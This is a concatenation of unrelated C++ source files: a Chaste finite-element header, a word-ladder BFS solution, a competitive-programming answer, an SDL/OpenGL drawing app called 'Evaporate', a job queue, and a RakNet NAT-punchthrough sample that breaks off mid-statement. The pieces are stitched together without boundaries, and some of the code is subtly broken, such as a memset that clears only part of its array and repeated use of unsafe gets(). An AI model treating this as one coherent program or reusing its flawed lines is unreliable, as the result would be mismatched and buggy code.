FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef EXTENDEDBIDOMAINMASSMATRIXASSEMBLER_HPP_ #define EXTENDEDBIDOMAINMASSMATRIXASSEMBLER_HPP_ #include "AbstractCardiacFeVolumeIntegralAssembler.hpp" /** * Constructs a matrix with the mass matrix in the voltage-voltage block. * * Ie. IF the extended bidomain unknowns were ordered [phi1_1,..,phi1_n, phi2_1, ..., phi2_n, phie_1,..,phie_n], the * matrix would be, in block form * * [ M 0 0] * [ 0 M 0] * [ 0 0 M] * * where M is the standard nxn mass matrix. * * Since the bidomain ordering is not [phi1_1,..,phi1_n,phi2_1,..,phi2_n, phie_1,...phie_n] * but [phi1_1,phi2_1,phie_1,..,phi1_n,phi2_n,phie_n], the matrix has a different form. * * */ template<unsigned DIM> class ExtendedBidomainMassMatrixAssembler : public AbstractFeVolumeIntegralAssembler<DIM,DIM,3,false,true,NORMAL> { protected: /** * ComputeMatrixTerm() * * This method is called by AssembleOnElement() and tells the assembler * the contribution to add to the element stiffness matrix. * * @param rPhi The basis functions, rPhi(i) = phi_i, i=1..numBases * @param rGradPhi Basis gradients, rGradPhi(i,j) = d(phi_j)/d(X_i) * @param rX The point in space * @param rU The unknown as a vector, u(i) = u_i * @param rGradU The gradient of the unknown as a matrix, rGradU(i,j) = d(u_i)/d(X_j) * @param pElement Pointer to the element * @return stencil matrix */ virtual c_matrix<double,3*(DIM+1),3*(DIM+1)> ComputeMatrixTerm( c_vector<double, DIM+1> &rPhi, c_matrix<double, DIM, DIM+1> &rGradPhi, ChastePoint<DIM> &rX, c_vector<double,3> &rU, c_matrix<double,3,DIM> &rGradU /* not used */, Element<DIM,DIM>* pElement); public: /** * Constructor * * @param pMesh pointer to the mesh */ ExtendedBidomainMassMatrixAssembler(AbstractTetrahedralMesh<DIM,DIM>* pMesh) : AbstractFeVolumeIntegralAssembler<DIM,DIM,3,false,true,NORMAL>(pMesh) { } /** * Destructor. */ virtual ~ExtendedBidomainMassMatrixAssembler() { } }; #endif /*EXTENDEDBIDOMAINMASSMATRIXASSEMBLER_HPP_*/
#include <iostream> #include <vector> #include <algorithm> #include <string> #include <cstring> #include <queue> #include <map> #include <sstream> #include <cmath> #include <unordered_set> // 需要c++ 11才能支持 #include <unordered_map> // 需要c++ 11才能支持 using namespace std; #include<unordered_set> /* BFS搜索得到的结果即为最短路径 */ class Change { public: int countChanges(vector<string> dic, int n, string s, string t) { if(n <= 1 || find(dic.begin(), dic.end(), s) == dic.end() // vector没有find方法 || find(dic.begin(), dic.end(), t) == dic.end()) return -1; // 假定字典中的字符串都是小写字母 queue<pair<string, int> > q; unordered_set<string> hash_s(dic.begin(), dic.end()); // 用vector初始化 q.push(make_pair(s, 0)); hash_s.erase(s); while(!q.empty()){ pair<string, int> p = q.front(); // pair q.pop(); string str = p.first; for(int i = 0; i < str.size(); ++i){ string tmp = str; for(int j = 0; j < 26; ++j){ char c = 'a' + j; if(c == str[i]) continue; tmp[i] = c; if(tmp == t) return p.second+1; if(hash_s.find(tmp) != hash_s.end()){ hash_s.erase(tmp); q.push(make_pair(tmp, p.second+1)); } } } } return -1; } }; int main(){ return 0; }
#include<bits/stdc++.h> using namespace std; #define IOS ios::sync_with_stdio(0); cin.tie(0); cout.tie(0); #define endl "\n" #define ll long long #define pii pair<int,int> #define all(x) begin(x), end(x) #define loop(i,n) for(int i=0; i<n; i++) #define rep(i,a,b,c) for(int i=a; i<b; i+=c) #define tc(t) int t; cin>>t; while(t--) #define sz(v) int((v).size()) #define pb push_back int32_t main() { IOS; tc(t) { int n, x; cin>>n; vector<int> v; loop(i, n) { cin>>x; v.push_back(x); } int freq[201][n+1]; vector<vector<int>> pos(201); memset(freq, 0, sizeof(freq)/sizeof(int)); rep(i, 1, n+1, 1) { loop (j, 201) { freq[j][i] = freq[j][i-1]; } freq[v[i-1]][i]++; pos[v[i-1]].push_back(i-1); } int res=0; loop(i, 201) { res = max(res, sz(pos[i])); loop (j, sz(pos[i])/2) { int start = pos[i][j]+1, end=pos[i][sz(pos[i])-j-1]-1; int countOut = (j+1)*2, countIn = 0; loop(k, 201) { countIn = max(countIn, freq[k][end+1]-freq[k][start]); } res = max(res, countOut+countIn); } } cout<<res<<endl; } return 0; }
/* Project: Evaporate Author: Blake Trahan www.blaketrahan.com Date: December 2015 - 2016 TODO: Immediate list - fix brush and palette relative sizes TODO list - figure out resolution independent rendering - add color picking from image - can't draw dots yet bc they're not lines - something funny MAY be happening with line drawing, see picture - my drawing window is 0 to 2.0 in x,y coordinates. maybe i need to change this? - investigate using glpushmatrix glpopmatrix instead of glortho - color wheel - color wheel shader: http://stackoverflow.com/questions/13210998/opengl-colour-interpolation - make color wheel circles triangles instead of triangle fan, so it doesnt lerp all the values at the center - overall fine tuning - add an eye dropper icon - UI - scale itself to fit window dimensions - clean up render code - use glpush and glpop matrix - group together draw calls and program flow in a sane way - what should happen when holding resize window? - when leaving menu, keep pause on if user set it before opening menu - do i need to release opengl assets before exit? features todo: - grab and pull image around when it's smaller than full screen - easytab.h - basic color blending - anti-alias lines - add "layers"? - save current drawing to a layer. it stops fading. - begins drawing on a top layer - edit layer image file to add an image into program - draw on top of say, section and plan, or wip painting - user options: - lock when mouse is off screen - save location - background color - if not pressing a hotkey, display hotkey list at bottom of screen - saving all settings and palette to a settings file */ #include <iostream> #include <iomanip> // TODO: research these #define IS_WINDOWS_BUILD #ifdef IS_WINDOWS_BUILD #define NTDDI_VERSION 0x05010200 #define _WIN32_WINNT 0x0502 #define WINVER 0x0502 #endif #include <SDL.h> #include "SDL_syswm.h" #include <SDL_ttf.h> #define GLEW_STATIC #include <GL/glew.h> #include "../glew-1.13.0/src/glew.c" #include <SDL_opengl.h> #include "../bullet/Bullet/LinearMath/btQuickprof.h" #define STB_IMAGE_WRITE_IMPLEMENTATION #include "stb_image_write.h" // For filenames #include <sstream> #include <string> #include <time.h> #include <vector> #include <algorithm> #include "memory.h" #define EASYTAB_IMPLEMENTATION #include "easytab.h" #define DEBUG_BUILD #ifdef DEBUG_BUILD #include "hexdump.c" #endif #define M_PI32 3.14159265359f #define M_DEGTORAD32 M_PI32 / 180.0f #define M_RADTODEG32 180.0f / M_PI32 // TODO: properly place these #define MAX_NUM_BRUSH 4 struct EvaporateUserSettings { // paint settings --- f4 alpha; f4 bg_color[3]; f4 brush_radius; // tool settings --- s4 num_brush; // interface settings --- s4 ui_button_size; f4 ui_color[3]; // display settings --- s4 screen_width; s4 screen_height; u4 SDL_flags; // input --- b4 dragging; b4 is_paused; b4 is_pause_locked; b4 initial_click; s4 initial_click_mouseover_state; b4 has_clicked; b4 ctrl_is_pressed; } user; #include "func_shaders.cpp" #include "func_shader_creation.cpp" b4 USER_SAVE_IMAGE_FILE = false; int main( int argc, char* args[] ) { SDL_Window* window = NULL;//The window we'll be rendering to SDL_GLContext gl_context; //OpenGL context initialize_memory(memory, 10); // 10 megabytes //Initialize SDL if( SDL_Init( SDL_INIT_VIDEO ) < 0 ) { std::cout << "SDL could not initialize! SDL Error: " << SDL_GetError() << std::endl; // TODO: write a safely_crash_program("text to display", optional error text sdl_geterror()); function return 0; } // TODO: things arent scaling correctly when changing aspect ratio // TODO: because i was not using power of 2 texture FBO // TODO: I think this was fixed by using SDL? #define TESTING_DESKTOP_WINDOWED // #define TESTING_DESKTOP_SMALL // #define TESTING_DESKTOP_PHONE // #define TESTING_DESKTOP_FULLSCREEN SDL_DisplayMode SCREEN_RESOLUTION; if (SDL_GetDesktopDisplayMode(0, &SCREEN_RESOLUTION) != 0) { std::cout << "ERROR: could not get SDL_GetDesktopDisplayMode" << SDL_GetError() << std::endl; } s4 PALETTE_WIDTH = 128; s4 PALETTE_HEIGHT = 512; #ifdef TESTING_DESKTOP_WINDOWED user.screen_width = 1280; user.screen_height = 800; user.SDL_flags = SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN | SDL_WINDOW_RESIZABLE; #endif #ifdef TESTING_DESKTOP_SMALL PALETTE_HEIGHT = 256; user.screen_width = 800; user.screen_height = 600; user.SDL_flags = SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN | SDL_WINDOW_RESIZABLE; #endif #ifdef TESTING_DESKTOP_PHONE user.screen_width = 1024; user.screen_height = 800; user.SDL_flags = SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN; #endif #ifdef TESTING_DESKTOP_FULLSCREEN user.screen_width = SCREEN_RESOLUTION.w; user.screen_height = SCREEN_RESOLUTION.h; user.SDL_flags = SDL_WINDOW_FULLSCREEN | SDL_WINDOW_OPENGL | SDL_WINDOW_SHOWN; #endif // TODO: check these //Use OpenGL 3.1 core SDL_GL_SetAttribute( SDL_GL_CONTEXT_MAJOR_VERSION, 3 ); SDL_GL_SetAttribute( SDL_GL_CONTEXT_MINOR_VERSION, 1 ); SDL_GL_SetAttribute( SDL_GL_CONTEXT_PROFILE_MASK, SDL_GL_CONTEXT_PROFILE_CORE ); //Create window window = SDL_CreateWindow( "Evaporate Draw", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, user.screen_width, user.screen_height, user.SDL_flags); if( window == NULL ) { std::cout << "Window could not be created! SDL Error: " << SDL_GetError() << std::endl; return 0; } //Create context gl_context = SDL_GL_CreateContext( window ); if( gl_context == NULL ) { std::cout << "OpenGL context could not be created! SDL Error: " << SDL_GetError() << std::endl; return 0; } //Initialize GLEW glewExperimental = GL_TRUE; // TODO: research this GLenum glewError = glewInit(); if( glewError != GLEW_OK ) { std::cout << "Error initializing GLEW! " << glewGetErrorString( glewError ) << std::endl; } // NOT DOING THIS. Causes mouse drawing lag. // Use Vsync // TODO: this // if( SDL_GL_SetSwapInterval( 1 ) < 0 ) // { // printf( "Warning: Unable to set VSync! SDL Error: %s\n", SDL_GetError() ); // } SDL_ShowCursor(0); btClock* btclock = (btClock*)alloc(memory,sizeof(btClock)); new (btclock) btClock(); GLenum err = glewInit(); if (GLEW_OK != err) { std::cout << "ERROR: Failed glewInit()." << std::endl; } std::cout << "Using GLEW Version: " << glewGetString(GLEW_VERSION) << std::endl; if (GLEW_VERSION_1_5) { std::cout << "Core extensions of OpenGL 1.1 to 1.5 are available!" << std::endl; } #ifdef IS_WINDOWS_BUILD SDL_EventState(SDL_SYSWMEVENT,SDL_ENABLE); SDL_SysWMinfo info; SDL_VERSION(&info.version); if (!SDL_GetWindowWMInfo(window,&info)) { std::cout << "ERROR: Failed to SDL_GetWindowWMInfo: " << SDL_GetError() << std::endl; return 0; } int easy_tab_success = EasyTab_Load(info.info.win.window); if (easy_tab_success != EASYTAB_OK) { std::cout << "ERROR: Failed to load easy tab. " << std::endl; } #endif //Initialize SDL_ttf -------------------------- if( TTF_Init() == -1 ) { std::cout << "SDL_ttf could not initialize! SDL_ttf Error: " << TTF_GetError() << std::endl; } TTF_Font* font = TTF_OpenFont( "cousine-regular-latin.ttf", 28 ); // TODO: file location if( font == NULL ) { std::cout << "Failed to load font! SDL_ttf Error: " << TTF_GetError() << std::endl; } // SDL_ttf ------------------------------------ #define ONE_SECOND_FADE 6.0f #define DEFAULT_FADE 0.2f // 30 seconds // 6.0 = 1 seconds user.alpha = DEFAULT_FADE; user.bg_color[0] = 0.85f;//0.2f;//1.0f;//0.8f; user.bg_color[1] = 0.82f;//0.2f;//1.0f;//0.8f; user.bg_color[2] = 0.80f;//0.2f;//1.0f;//0.8f; user.brush_radius = 10.0f; user.ui_button_size = 24; // pixels user.is_paused = false; user.is_pause_locked = false; user.has_clicked = false; user.initial_click = false; user.initial_click_mouseover_state = 0; user.dragging = false; user.ctrl_is_pressed = false; user.num_brush = 1; user.ui_color[0] = 0.5f; user.ui_color[1] = 0.5f; user.ui_color[2] = 0.5f; #include "func_opengl_objects.cpp" f4 aspect_x = 1.0f; f4 aspect_y = 1.0f; auto calculate_aspect_ratio = [&] () { aspect_x = 1.0f; aspect_y = 1.0f; if (user.screen_width > user.screen_height) { aspect_y = (f4)user.screen_width/(f4)user.screen_height; } else // TODO: test this { aspect_x = (f4)user.screen_height/(f4)user.screen_width; } }; calculate_aspect_ratio(); auto remove_aspect_ratio = [=] (f4 &x, f4 &y) { x/=aspect_x; y/=aspect_y; }; auto reapply_aspect_ratio = [=] (f4 &x, f4 &y) { x*=aspect_x; y*=aspect_y; }; s4 max_data_size = 3/*NUM_COMPONENTS*/ * SCREEN_RESOLUTION.w * SCREEN_RESOLUTION.h; GLubyte* saved_png = (GLubyte*)alloc(memory,sizeof(GLubyte) * max_data_size); GLubyte* flipped_png = (GLubyte*)alloc(memory,sizeof(GLubyte) * max_data_size); // TODO: What's a good number so that this will never reach its cap const s4 SAFE_ALLOTMENT_MOUSE = 64; struct f4pt { f4 x; f4 y; }; f4pt* mpts = (f4pt*)alloc(memory,sizeof(f4pt) * SAFE_ALLOTMENT_MOUSE); struct MY_EASYTAB_HISTORY { struct PT { s4 x,y; u4 time; }; PT pts[64]; s4 last_pt; u4 last_query; } easytab_history; easytab_history.last_pt = 0; easytab_history.last_query = 0; for (s4 i = 0; i < 64; i++) { easytab_history.pts[i].x = 0; easytab_history.pts[i].y = 0; easytab_history.pts[i].time = 0; } // TODO: replace safe_allotment * 10 with number of points generated for each catmull/bezier curve f4pt* msmoothpts = (f4pt*)alloc(memory,sizeof(f4pt) * SAFE_ALLOTMENT_MOUSE * 10); // TODO: move this into user f4 selected_color[3] = {0.0f,0.0f,0.0f}; // TODO: surround this in ifdef windows build DWORD last_mt = 0; //Enable text input SDL_StartTextInput(); #include "func_interface.cpp" f4 render_dt = 0.0f; const f4 render_ms = 1.0f/120.0f; u4 time_physics_prev = btclock->getTimeMicroseconds(); b4 QUIT_APP = false; while(!QUIT_APP) { const u4 time_physics_curr = btclock->getTimeMicroseconds(); const f4 frameTime = ((f4)(time_physics_curr - time_physics_prev)) / 1000000.0f; // todo: is this truncated correctly? time_physics_prev = time_physics_curr; { #include "func_input.cpp" } // stringw str =L"Enter: save | Tab: hide color | Left mouse: draw | Right mouse: eyedropper | Space: pause ("; render_dt += frameTime; if (render_dt >= render_ms ) { #include "func_render.cpp" } } glDisableVertexAttribArray(0); glDisableVertexAttribArray(1); EasyTab_Unload(); free(memory.TransientStorage); free(memory.PermanentStorage); TTF_CloseFont( font ); font = NULL; //Destroy window SDL_DestroyWindow( window ); window = NULL; //Quit SDL subsystems TTF_Quit(); SDL_Quit(); return 0; }
#include "JobQueue.h" size_t JobQueue::GetQueuedJobCount() { std::lock_guard<Spinlock> LockGuard(queuedLock); return queuedJobs.size(); } Job *JobQueue::GetNextJob() { Job *nextJob = nullptr; // { std::lock_guard<Spinlock> LockGuard(queuedLock); if(queuedJobs.size() > 0) { auto I = queuedJobs.begin(); while(I != queuedJobs.end() && !(*I)->IsReady()) { I++; } // if(I != queuedJobs.end()) { nextJob = *I; queuedJobs.erase(I); } } } // if(nextJob != nullptr) { std::lock_guard<Spinlock> LockGuard(startedLock); startedJobs.push_back(nextJob); } return nextJob; } JobQueue::~JobQueue() { for(auto I : queuedJobs) { delete I; } // for(auto I : startedJobs) { delete I; } }
/// \file /// \brief Tests the NAT-punchthrough plugin /// /// This file is part of RakNet Copyright 2003 Jenkins Software LLC /// /// Usage of RakNet is subject to the appropriate license agreement. #include "RakPeerInterface.h" #include "RakSleep.h" #include <stdio.h> #include <stdlib.h> #include "RakNetworkFactory.h" #include <string.h> #include "Kbhit.h" #include "MessageIdentifiers.h" #include "BitStream.h" #include "RakSleep.h" #include "ConnectionGraph2.h" #include "PacketLogger.h" #include "StringCompressor.h" #include "PacketFileLogger.h" #include "GetTime.h" #include "NatPunchthroughClient.h" #include "NatPunchthroughServer.h" #include "SocketLayer.h" #include "RakString.h" #include "UDPProxyServer.h" #include "UDPProxyCoordinator.h" #include "UDPProxyClient.h" #include "NatTypeDetectionServer.h" #define USE_UPNP #ifdef USE_UPNP // These files are in Samples/upnp #include "UPNPPortForwarder.h" #include "UPNPCallBackInterface.h" #include "EventReceiver.h" #endif static const unsigned short NAT_PUNCHTHROUGH_FACILITATOR_PORT=60481; static const char *NAT_PUNCHTHROUGH_FACILITATOR_PASSWORD=""; static const char *DEFAULT_NAT_PUNCHTHROUGH_FACILITATOR_IP="94.198.81.195"; //static const char *DEFAULT_NAT_PUNCHTHROUGH_FACILITATOR_IP="192.168.1.4"; static const char *COORDINATOR_PASSWORD="Dummy Coordinator Password"; #ifdef USE_UPNP // UPNP can directly tell the router to open a port (if it works) void OpenWithUPNP(NatPunchthroughClient *npc) { printf("Opening UPNP...\n"); UPNPPortForwarder forwarder; EventReceiver * eventObject= new EventReceiver(1); forwarder.OpenPortOnInterface(npc->GetUPNPInternalPort(),eventObject,npc->GetUPNPInternalAddress(),npc->GetUPNPExternalPort()); while(eventObject->IsRunningAnyThread()) {} delete eventObject; }; #endif struct NatPunchthroughDebugInterface_PacketFileLogger : public NatPunchthroughDebugInterface { // Set to non-zero to write to the packetlogger! PacketFileLogger *pl; NatPunchthroughDebugInterface_PacketFileLogger() {pl=0;} ~NatPunchthroughDebugInterface_PacketFileLogger() {} virtual void OnClientMessage(const char *msg) { if (pl) { pl->WriteMiscellaneous("Nat", msg); } } }; struct UDPProxyClientResultHandler_Test : public RakNet::UDPProxyClientResultHandler { virtual void OnForwardingSuccess(const char *proxyIPAddress, unsigned short proxyPort, unsigned short reverseProxyPort, SystemAddress proxyCoordinator, SystemAddress sourceAddress, SystemAddress targetAddress, RakNet::UDPProxyClient *proxyClientPlugin) { printf("Datagrams forwarded successfully by proxy %s:%i to target %s.\n", proxyIPAddress, proxyPort, targetAddress.ToString(false)); printf("Connecting to proxy, which will be received by target.\n"); rakPeer->Connect(proxyIPAddress, proxyPort, 0, 0); } virtual void OnForwardingNotification(const char *proxyIPAddress, unsigned short proxyPort, unsigned short reverseProxyPort, SystemAddress proxyCoordinator, SystemAddress sourceAddress, SystemAddress targetAddress, RakNet::UDPProxyClient *proxyClientPlugin) { printf("Source %s has setup forwarding to us through proxy %s:%i.\n", sourceAddress.ToString(false), proxyIPAddress, reverseProxyPort); } virtual void OnNoServersOnline(SystemAddress proxyCoordinator, SystemAddress sourceAddress, SystemAddress targetAddress, RakNet::UDPProxyClient *proxyClientPlugin) { printf("Failure: No servers logged into coordinator.\n"); } virtual void OnRecipientNotConnected(SystemAddress proxyCoordinator, SystemAddress sourceAddress, SystemAddress targetAddress, RakNetGUID targetGuid, RakNet::UDPProxyClient *proxyClientPlugin) { printf("Failure: Recipient not connected to coordinator.\n"); } virtual void OnAllServersBusy(SystemAddress proxyCoordinator, SystemAddress sourceAddress, SystemAddress targetAddress, RakNet::UDPProxyClient *proxyClientPlugin) { printf("Failure: No servers have available forwarding ports.\n"); } virtual void OnForwardingInProgress(SystemAddress proxyCoordinator, SystemAddress sourceAddress, SystemAddress targetAddress, RakNet::UDPProxyClient *proxyClientPlugin) { printf("Notification: Forwarding already in progress.\n"); } RakPeerInterface *rakPeer; }; struct SystemStatus { RakNetGUID guid; SystemAddress systemAddress; unsigned char packetId; int status; // -1 = failed. 0 = connecting. 1 = punched. 2 = connected. }; DataStructures::List<SystemStatus> systems; bool PushSystemStatus(RakNetGUID remoteGuid, SystemAddress remoteAddress) { DataStructures::DefaultIndexType idx; for (idx=0; idx < systems.Size(); idx++) if (systems[idx].guid==remoteGuid) return false; SystemStatus ss; ss.guid=remoteGuid; ss.status=0; ss.systemAddress=remoteAddress; systems.Push(ss, __FILE__, __LINE__); return true; } #ifdef USE_UPNP void PrintStatus(const DataStructures::List<SystemStatus> &systems) { system("cls"); DataStructures::DefaultIndexType i; printf("Failed\t\tWorking\t\tPunched\t\tConnected\n"); for (i=0; i < systems.Size(); i++) { unsigned int tabCount = (systems[i].status+1)*2; for (unsigned int j=0; j < tabCount; j++) printf("\t"); printf("%s", systems[i].systemAddress.ToString(true)); if (systems[i].status==-1) printf(" (Code %i)", systems[i].packetId); printf("\n"); } } void GUIClientTest() { SystemAddress serverSystemAddress(DEFAULT_NAT_PUNCHTHROUGH_FACILITATOR_IP,NAT_PUNCHTHROUGH_FACILITATOR_PORT); RakPeerInterface *rakPeer=RakNetworkFactory::GetRakPeerInterface(); NatPunchthroughClient natPunchthroughClient; ConnectionGraph2 connectionGraph; rakPeer->AttachPlugin(&connectionGraph); rakPeer->AttachPlugin(&natPunchthroughClient); SocketDescriptor sd(0,0); rakPeer->Startup(8,0,&sd, 1); rakPeer->SetMaximumIncomingConnections(32); rakPeer->Connect(DEFAULT_NAT_PUNCHTHROUGH_FACILITATOR_IP, NAT_PUNCHTHROUGH_FACILITATOR_PORT, NAT_PUNCHTHROUGH_FACILITATOR_PASSWORD, (int) strlen(NAT_PUNCHTHROUGH_FACILITATOR_PASSWORD)); DataStructures::List<RakNetSmartPtr<RakNetSocket> > sockets; rakPeer->GetSockets(sockets); printf("Ports used by RakNet:\n"); for (unsigned int i=0; i < sockets.Size(); i++) { printf("%i. %i\n", i+1, sockets[i]->boundAddress.port); } printf("My IP is %s\n", rakPeer->GetLocalIP(0)); Packet *p; while (1) { p=rakPeer->Receive(); while (p) { if (p->data[0]==ID_REMOTE_NEW_INCOMING_CONNECTION) { unsigned int count; RakNet::BitStream bsIn(p->data, p->length, false); bsIn.IgnoreBytes(sizeof(MessageID)); bsIn.Read(count); SystemAddress remoteAddress; RakNetGUID remoteGuid; for (unsigned int i=0; i < count; i++) { bsIn.Read(remoteAddress); bsIn.Read(remoteGuid); if (remoteAddress!=serverSystemAddress) { if (PushSystemStatus(remoteGuid, remoteAddress)) natPunchthroughClient.OpenNAT(remoteGuid, serverSystemAddress); } } } if (p->data[0]==ID_DISCONNECTION_NOTIFICATION || p->data[0]==ID_CONNECTION_LOST) { DataStructures::DefaultIndexType i; for (i=0; i < systems.Size(); i++) if (systems[i].guid==p->guid) systems.RemoveAtIndex(i); } else if (p->data[0]==ID_NO_FREE_INCOMING_CONNECTIONS) { } else if (p->data[0]==ID_CONNECTION_GRAPH_REPLY) { } else if (p->data[0]==ID_REMOTE_DISCONNECTION_NOTIFICATION || p->data[0]==ID_REMOTE_CONNECTION_LOST) { // Ignore this if not from the server if (p->systemAddress==serverSystemAddress) { RakNet::BitStream bsIn(p->data, p->length, false); SystemAddress remoteAddress; RakNetGUID remoteGuid; bsIn.IgnoreBytes(sizeof(MessageID)); bsIn.Read(remoteAddress); bsIn.Read(remoteGuid); DataStructures::DefaultIndexType i; for (i=0; i < systems.Size(); i++) if (systems[i].systemAddress==remoteAddress) systems.RemoveAtIndex(i); } } else if (p->data[0]==ID_NEW_INCOMING_CONNECTION || p->data[0]==ID_CONNECTION_REQUEST_ACCEPTED) { if (strcmp(p->systemAddress.ToString(false),DEFAULT_NAT_PUNCHTHROUGH_FACILITATOR_IP)!=0) { DataStructures::DefaultIndexType i; bool gotAny=false; for (i=0; i < systems.Size(); i++) { if (systems[i].guid==p->guid) { gotAny=true; systems[i].status=2; break; } } RakAssert(gotAny==true); } else { // Use UPNP to open the port connections will come in on, if possible OpenWithUPNP(&natPunchthroughClient); } } else if ( p->data[0]==ID_NAT_TARGET_NOT_CONNECTED || p->data[0]==ID_NAT_TARGET_UNRESPONSIVE || p->data[0]==ID_NAT_CONNECTION_TO_TARGET_LOST || // p->data[0]==ID_NAT_ALREADY_IN_PROGRESS || p->data[0]==ID_NAT_PUNCHTHROUGH_FAILED ) { RakNetGUID guid; if (p->data[0]==ID_NAT_PUNCHTHROUGH_FAILED) guid=p->guid; else { RakNet::BitStream bs(p->data,p->length,false); bs.IgnoreBytes(1); bool b = bs.Read(guid); RakAssert(b); } DataStructures::DefaultIndexType i; for (i=0; i < systems.Size(); i++) { if (systems[i].guid==guid) { systems[i].packetId=p->data[0]; systems[i].status=-1; break; } } } else if (p->data[0]==ID_NAT_PUNCHTHROUGH_SUCCEEDED) { DataStructures::DefaultIndexType i; for (i=0; i < systems.Size(); i++) { if (systems[i].guid==p->guid && systems[i].status==0) { // Might get legitimately due to high lag for one of the systems // RakAssert(systems[i].status==0); systems[i].status=1; break; } } if (p->data[1]==1) rakPeer->Connect(p->systemAddress.ToString(), p->systemAddress.port, 0, 0); } else if (p->data[0]==ID_PONG) { } else if (p->data[0]==ID_INVALID_PASSWORD) { } else if (p->data[0]==ID_NAT_ALREADY_IN_PROGRESS) { } rakPeer->DeallocatePacket(p); p=rakPeer->Receive(); } if (kbhit()) { char ch = getch(); if (ch=='q' || ch=='Q') break; } PrintStatus(systems); RakSleep(0); } rakPeer->Shutdown(100,0); RakNetworkFactory::DestroyRakPeerInterface(rakPeer); } #endif void VerboseTest() { RakPeerInterface *rakPeer=RakNetworkFactory::GetRakPeerInterface(); // Base systems, try to connect through the router // NAT punchthrough plugin for the client NatPunchthroughClient natPunchthroughClient; // Prints messages to the screen, for debugging the client NatPunchthroughDebugInterface_Printf debugInterface; // NAT punchthrough plugin for the server NatPunchthroughServer natPunchthroughServer; NatPunchthroughServerDebugInterface_Printf natPunchthroughServerDebugger; natPunchthroughServer.SetDebugInterface(&natPunchthroughServerDebugger); // Fallback systems - if NAT punchthrough fails, we route messages through a server // Maintains a list of running UDPProxyServer RakNet::UDPProxyCoordinator udpProxyCoordinator; // Routes messages between two systems that cannot connect through NAT punchthrough RakNet::UDPProxyServer udpProxyServer; // Connects to UDPProxyCoordinator RakNet::UDPProxyClient udpProxyClient; /// Used to let the client determine what kind of NAT they have RakNet::NatTypeDetectionServer natTypeDetectionServer; // Handles progress notifications for udpProxyClient UDPProxyClientResultHandler_Test udpProxyClientResultHandler; udpProxyClientResultHandler.rakPeer=rakPeer; // Coordinator requires logon to use, to prevent sending to non-servers udpProxyCoordinator.SetRemoteLoginPassword(COORDINATOR_PASSWORD); // Helps with the sample, to connect systems that join ConnectionGraph2 connectionGraph; natPunchthroughClient.SetDebugInterface(&debugInterface); rakPeer->AttachPlugin(&connectionGraph); char mode[64], facilitatorIP[64]; printf("Tests the NAT Punchthrough plugin\n"); printf("Difficulty: Intermediate\n\n"); int i; DataStructures::List<RakNet::RakString> internalIds; char ipList[ MAXIMUM_NUMBER_OF_INTERNAL_IDS ][ 16 ]; unsigned int binaryAddresses[MAXIMUM_NUMBER_OF_INTERNAL_IDS]; SocketLayer::Instance()->GetMyIP( ipList, binaryAddresses ); for (i=0; i < MAXIMUM_NUMBER_OF_INTERNAL_IDS; i++) { RakNet::RakString rs; if (ipList[i][0]) { rs = ipList[i]; if (internalIds.GetIndexOf(rs)==(unsigned int)-1) { internalIds.Push(rs, __FILE__, __LINE__ ); } } } SocketDescriptor socketDescriptor; char str[128]; if (internalIds.Size()>1) { printf("Which IP to bind to (Enter = any)?\n"); for (i=0; i < (int) internalIds.Size(); i++) { printf("%i. %s\n", i+1, internalIds[i].C_String()); } gets(str); if (str[0]) { int index = atoi(str); strcpy(socketDescriptor.hostAddress, internalIds[index-1].C_String()); } } if (socketDescriptor.hostAddress[0]==0) printf("My internal IP is %s.\n", internalIds[0].C_String()); printf("Act as (S)ender, (R)ecipient, or (F)acilitator?\n"); gets(mode); SystemAddress facilitatorSystemAddress=UNASSIGNED_SYSTEM_ADDRESS; if (mode[0]=='s' || mode[0]=='S' || mode[0]=='r' || mode[0]=='R') { PunchthroughConfiguration *pc = natPunchthroughClient.GetPunchthroughConfiguration(); printf("Modify TIME_BETWEEN_PUNCH_ATTEMPTS_INTERNAL?\n"); gets(str); if (str[0]!=0) pc->TIME_BETWEEN_PUNCH_ATTEMPTS_INTERNAL=atoi(str); printf("Modify TIME_BETWEEN_PUNCH_ATTEMPTS_EXTERNAL?\n"); gets(str); if (str[0]!=0) pc->TIME_BETWEEN_PUNCH_ATTEMPTS_EXTERNAL=atoi(str); printf("Modify UDP_SENDS_PER_PORT?\n"); gets(str); if (str[0]!=0) pc->UDP_SENDS_PER_PORT_EXTERNAL=atoi(str); printf("Modify INTERNAL_IP_WAIT_AFTER_ATTEMPTS?\n"); gets(str); if (str[0]!=0) pc->INTERNAL_IP_WAIT_AFTER_ATTEMPTS=atoi(str); printf("Modify MAX_PREDICTIVE_PORT_RANGE?\n"); gets(str); if (str[0]!=0) pc->MAX_PREDICTIVE_PORT_RANGE=atoi(str); printf("Modify EXTERNAL_IP_WAIT_BETWEEN_PORTS?\n"); gets(str); if (str[0]!=0) pc->EXTERNAL_IP_WAIT_BETWEEN_PORTS=atoi(str); printf("Modify EXTERNAL_IP_WAIT_AFTER_ALL_ATTEMPTS?\n"); gets(str); if (str[0]!=0) pc->EXTERNAL_IP_WAIT_AFTER_ALL_ATTEMPTS=atoi(str); rakPeer->Startup(8,0,&socketDescriptor, 1); rakPeer->SetMaximumIncomingConnections(32); printf("Enter facilitator IP: "); gets(facilitatorIP); if (facilitatorIP[0]==0) strcpy(facilitatorIP, DEFAULT_NAT_PUNCHTHROUGH_FACILITATOR_IP); rakPeer->AttachPlugin(&natPunchthroughClient); rakPeer->AttachPlugin(&udpProxyClient); // Set the C++ class to get the result of our proxy operation udpProxyClient.SetResultHandler(&udpProxyClientResultHandler); printf("Connecting to facilitator.\n"); rakPeer->Connect(facilitatorIP, NAT_PUNCHTHROUGH_FACILITATOR_PORT, NAT_PUNCHTHROUGH_FACILITATOR_PASSWORD, (int) 